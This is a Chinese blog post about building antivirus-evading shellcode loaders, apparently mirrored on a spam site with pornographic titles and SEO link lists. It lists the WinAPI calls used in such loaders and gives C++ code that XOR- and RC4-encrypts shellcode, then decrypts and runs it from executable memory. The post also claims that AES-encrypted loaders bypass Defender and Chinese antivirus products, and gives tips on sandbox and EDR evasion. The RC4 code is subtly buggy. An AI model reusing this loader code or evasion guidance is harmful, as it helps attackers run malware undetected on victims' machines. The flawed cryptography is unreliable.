中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

淘寶客推廣網(wǎng)站怎么做百度競價推廣自己可以做嗎

淘寶客推廣網(wǎng)站怎么做,百度競價推廣自己可以做嗎,永久免費的ip代理,河南省招標投標信息網(wǎng)官網(wǎng)最近更新頻率明顯下降我懶,那么今天就來記錄一下我們的一些常用的API的整理以及ShellCode的加密。 1.WinAPI整理 問我為什么要整理? 就是用起來的時候要左翻右翻 :: 煩死了 1.VirtualAlloc VirtualAlloc(NULL,sizeof(buf),MEM_…

最近更新頻率明顯下降我懶,那么今天就來記錄一下我們的一些常用的API的整理以及ShellCode的加密。

1.WinAPI整理

問我為什么要整理? 就是用起來的時候要左翻右翻

? :: 煩死了

1.VirtualAlloc

VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  1. 該API是LPVOID返回
  2. 其中的sizeof(buf)是你要申請的長度
  3. PAGE_EXECUTE_READWRITE這個是這塊內(nèi)存的屬性,你可以申請一個不完整的(沒那么容易被殺的,然后轉(zhuǎn)換)

2.Memcpy

memcpy(p,buf,sizeof(buf));
  1. 其中p是目的地址
  2. buf是源地址
  3. sizeof(buf)是源地址的長度

3.CreateThread

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
  1. 第一個參數(shù)是安全屬性,傳入NULL默認是安全
  2. 第二個是默認堆棧大小,NULL是默認大小
  3. 第三個是指向線程執(zhí)行的函數(shù)指針(存在強轉(zhuǎn))
  4. 第四個是要傳遞給函數(shù)的參數(shù),NULL默認沒有
  5. 第五個是默認控制線程的創(chuàng)建方式,NULL表示沒有
  6. 最后一個是線程ID,NULL默認不需要返回ID
  7. 返回值就是HANDLE

4.VirtualProtect

VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
  1. 其中p是指向內(nèi)存空間的指針
  2. 第三個參數(shù)是內(nèi)存的屬性

5.WriteProcessMemory

WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
  1. 第一個參數(shù)是原來的進程句柄
  2. 第二個參數(shù)就指定目標進程中要寫入數(shù)據(jù)的起始地址
  3. 然后第三個參數(shù)就是指向要寫入目標進程的數(shù)據(jù)的緩沖區(qū)的指針
  4. 第四個就是寫入的長度

6.WaitForSingleObject

WaitForSingleObject(handle, INFINITE)
  1. 第一個參數(shù)就是創(chuàng)建完進程的handle
  2. 第二個參數(shù)直接寫INFINET或者-1就好了

7.GetProcAddress

GetProcAddress(HDMDODULE,L"FUNCNAME")
  1. 第一個參數(shù)就是獲取到的dll的HMODULE
  2. 第二個參數(shù)就是你要找的函數(shù)名字

8.CreateFileW

CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  1. 第一個參數(shù)就是你要打開或者新建的文件(這樣寫的話就是默認exe同文件夾下面有cs.dll)
  2. 第二個參數(shù)就是屬性(一般不會用到ALL)
  3. 第六個參數(shù)就是你要選擇OPEN_EXISTING還是ALWAYS_CREATE

9.GetFileSize

GetFileSize(hFile, NULL)

這個很明顯就是獲取長度,這個無需多言

10.HeapAlloc

在堆上分配可讀可寫內(nèi)存(不可執(zhí)行!!!)

HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)

11.ReadFile

將文件內(nèi)容寫到緩沖區(qū)中

ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
  1. 第一個參數(shù)是剛才的文件的句柄?
  2. 第二個是申請的內(nèi)存指針
  3. 第三個是內(nèi)存指針的長度
  4. 第四個是實際返回的長度(常用來判斷讀取到的文字)

2.ShellCode的加密

1.異或加密

這個就是可以說是ShellCode加密最簡單的一集了,下面就來個最簡單的加密代碼

異或加密其實就是將每一個字符都和一個key或者說一個數(shù)異或,這就形成了密文。

#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}

?如果你想解密的話也很好辦,直接再異或一次就好了(其實加密的代碼完全可以再用一次)

當然了,你還可以搞難度大一點的,隨機生成密鑰,不過一般都不會這樣操作,因為你隨機生成密鑰,總會有一方是無法操作的(或者說你把你的隨機生成的加密密鑰寫到解密算法里面,不過這樣感覺還不如直接傳密鑰)

2.RC4加密

這個加密還是用的比較多的,其實它的算法流程并沒有變,變得只是我們的Key!!!

RC4的加解密需要經(jīng)過兩個流程

  1. RC4init
  2. RC4Cipher

我們一步一步來操作,先是RC4init

我們一般都會定義一個初始化的全局數(shù)組S 然后我們會對這個S有以下的操作

void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}

然后就是我們的RC4Cipher了,至于這兩段代碼為什么(我也布吉島)

void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}

然后就是我們的完整代碼了

#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}

我們也可以對一個shellcode加密并且解密上線看看效果,其實這里就是再執(zhí)行這塊內(nèi)存之前,對他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再對這塊內(nèi)存進行解密,并且執(zhí)行

#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}

3.AES加密

這個目前是最好的一種shellcode加密方式,無論是對比起RC4(Defender會殺),UUDI,IPV4這些

AES是能過Defender的!!!!(就算你不分離的情況下,就算熵很大!!!)

這里我就不貼代碼了,但是我能給屏幕截圖,理由大家都懂(不想讓他這么快被殺)

然后就是來展示一下它的效果(這個我都沒做分離,熵值其實挺大的)

這也說明我們Windows Defender的查殺特點

  1. 沙箱,當你將一個文件放進虛擬機的時候,首先就去defender的沙箱跑,所以這個loader第一步就是抗沙箱(當然,這個和360的QVM比不了)
  2. 內(nèi)存掃描,當你進行危險操作dump lsass,注入shellcode的時候,defender就會對這塊內(nèi)存進行掃描,如果你是惡意的shellcode就會查殺(當然,這個和卡巴斯基也比不了)

除了用server的defender測試,還用了實體(我同學(xué))的環(huán)境,也是能用過的!!!!

火絨

電腦管家

當然了,還有像UUID,IPV4,IPV6這種的加密方式,但是都不如AES加密強大,當然你也可以用RSA,總之加密方法有很多,自行選擇。


當然,解密的密鑰是不推薦直接寫在loader里面,可以分離一個xml,txt,這樣的文件(這樣也有天然抗沙箱的作用),因為對于強的EDR會關(guān)注你的一些函數(shù),然后在去hook你的解密后的內(nèi)存,如果不做unhook等其他操作,就會被殺!?

http://www.risenshineclean.com/news/62416.html

相關(guān)文章:

  • 廣州 網(wǎng)站 建設(shè) 制作培訓(xùn)課程開發(fā)
  • 合肥的網(wǎng)站建設(shè)州世界500強企業(yè)名單
  • 廈門做企業(yè)網(wǎng)站站長收錄
  • 如何做網(wǎng)站代理站內(nèi)推廣有哪些方式
  • 可信的邢臺做網(wǎng)站搜索引擎優(yōu)化與推廣技術(shù)
  • 深圳優(yōu)化網(wǎng)站排名競價推廣賬戶競價托管費用
  • 做兼職比較好的網(wǎng)站網(wǎng)站推廣優(yōu)化排名
  • 廈門市建設(shè)工程造價信息網(wǎng)如何對seo進行優(yōu)化
  • 做PPT不錯的網(wǎng)站有哪些網(wǎng)站優(yōu)化推廣平臺
  • 政府網(wǎng)站app建設(shè)百度權(quán)重優(yōu)化軟件
  • 玻璃鋼產(chǎn)品哪個網(wǎng)站做推廣好一鍵開發(fā)小程序
  • 為什么政府網(wǎng)站做的很爛圖片外鏈生成工具
  • 雁塔免費做網(wǎng)站關(guān)鍵詞云圖
  • 網(wǎng)站定時數(shù)據(jù)切換怎么做的上海網(wǎng)站關(guān)鍵詞排名
  • php網(wǎng)站后臺模版重慶seo整站優(yōu)化方案范文
  • wordpress批量替換標簽aso優(yōu)化榜單
  • 網(wǎng)站 優(yōu)化手機版網(wǎng)絡(luò)優(yōu)化大師手機版
  • 網(wǎng)站建設(shè)需要提供哪些信息優(yōu)化法治化營商環(huán)境
  • 浙江省住房城鄉(xiāng)建設(shè)廳官方網(wǎng)站推廣網(wǎng)站有效的免費方法
  • 網(wǎng)站上的動圖都怎么做的中小企業(yè)網(wǎng)絡(luò)營銷現(xiàn)狀
  • 天津大學(xué)生專業(yè)做網(wǎng)站直鏈平臺
  • 網(wǎng)站建設(shè)小程序開發(fā)公司關(guān)鍵詞推廣軟件排名
  • 娛樂網(wǎng)站 建站軟件搜索引擎優(yōu)化的主要策略
  • 即刻搜索收錄網(wǎng)站口碑優(yōu)化
  • 做網(wǎng)站接私活價格怎么算seo發(fā)包排名軟件
  • 如何解析域名安徽搜索引擎優(yōu)化
  • 如何網(wǎng)上建設(shè)網(wǎng)站優(yōu)化設(shè)計全部答案
  • asp簡單購物網(wǎng)站源碼西安關(guān)鍵詞優(yōu)化排名
  • 企業(yè)網(wǎng)站建設(shè) 招標 評分表百度官網(wǎng)認證多少錢
  • 策劃書標準格式seo是什么職位縮寫